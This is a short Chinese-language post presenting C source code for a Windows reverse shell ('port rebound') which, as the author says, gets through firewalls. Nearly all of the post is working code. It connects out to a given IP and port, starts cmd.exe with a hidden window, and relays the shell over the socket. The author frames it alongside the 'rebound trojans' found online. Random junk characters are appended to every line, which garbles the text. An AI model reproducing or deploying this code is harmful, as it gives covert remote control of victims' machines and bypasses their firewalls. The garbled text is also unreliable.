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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9n#lDL O  
^pysoaZCT_  
/* ============================== svaclkT=  
Rebound port in Windows NT *y0=sG1+D  
By wind,2006/7 R1/h<I:  
===============================*/ $(r/N"6)O2  
#include n^t!+  
#include D}MCVNd^  
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#pragma comment(lib,"wsock32.lib") S;8gX1Uf  
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void OutputShell(); 3J_B uMV  
SOCKET sClient; (-[73v-w  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; F1q6 3  
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void main(int argc,char **argv) obz|*1M?  
{ 8#{DBWU  
WSADATA stWsaData; _C%:AFPP>  
int nRet; E]0}&YG  
SOCKADDR_IN stSaiClient,stSaiServer; 9 WO|g[Y3  
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if(argc != 3) IA;'5IF  
{ fEB&)mM  
printf("Useage:\n\rRebound DestIP DestPort\n"); "g%=FH3e  
return; h@{mcz  
} PC<[ $~  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Bln($lOz  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *DcB?8%  
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stSaiClient.sin_family = AF_INET; _+6aD|7x  
stSaiClient.sin_port = htons(0); J3z:U&%=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Fl}{"eCF8  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) n)uck5  
{ pGdFeEkB/  
printf("Bind Socket Failed!\n"); %F}i2!\<L  
return; };;k5z I%  
} ms{iQ:'9  
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stSaiServer.sin_family = AF_INET; L}\ oFjVju  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); EM7Z g 65  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); f 0r?cZ  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Fnc MIzp  
{ G@+R!IG  
printf("Connect Error!"); gLK_b;:  
return; ?J,K[.z  
} ( u^`3=%n  
OutputShell(); +A-z>T(  
} bV&"jjEx  
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void OutputShell() 'w8p[h (,  
{ VCX^D)[-  
char szBuff[1024]; =$-+~  
SECURITY_ATTRIBUTES stSecurityAttributes; f;=<$Y>i  
OSVERSIONINFO stOsversionInfo; ,92wW&2  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]ne  
STARTUPINFO stStartupInfo; yi;pn Z  
char *szShell; *6aIDFNl  
PROCESS_INFORMATION stProcessInformation; (b8ZADI*  
unsigned long lBytesRead; :pdl2#5H^  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0fog/c#q(  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >zo_}A!  
stSecurityAttributes.lpSecurityDescriptor = 0; Z</57w#-7  
stSecurityAttributes.bInheritHandle = TRUE; wE3fKG.  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *t300`x  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R.Kz nJ  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2&zklXuo:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9/JB n  
stStartupInfo.wShowWindow = SW_HIDE; V~sfR^FQ'  
stStartupInfo.hStdInput = hReadPipe; ] @uuB\u  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; C@3UsD\s(  
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GetVersionEx(&stOsversionInfo); ;;K ~  
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switch(stOsversionInfo.dwPlatformId) qH(HcsgD  
{ 8?LHYdJ  
case 1: @xeJ$ rlu  
szShell = "command.com"; E5yn,-GyE0  
break; J^-a@' `+  
default: 4hx4/5[^  
szShell = "cmd.exe"; DJb9] ,=a  
break; # TZ`   
} [nf 5<  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); CrB4%W:{  
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send(sClient,szMsg,77,0); NwN3T]W  
while(1) .q<5OE(f  
{ SQJ +C%   
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Mq='|0,  
if(lBytesRead) i`w)dS  
{ Xc$Zkfmms  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e F)my  
send(sClient,szBuff,lBytesRead,0); PlR$s  
} e5d STc`  
else {dYz|O<  
{ 89j*uT  
lBytesRead=recv(sClient,szBuff,1024,0); trZU_eouI  
if(lBytesRead<=0) break; c{j)beaS  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^Rh}[  
} * !9=?  
} +DaKP)H\:  
^<3{0g-"AW  
return; 2B"tT"f  
}
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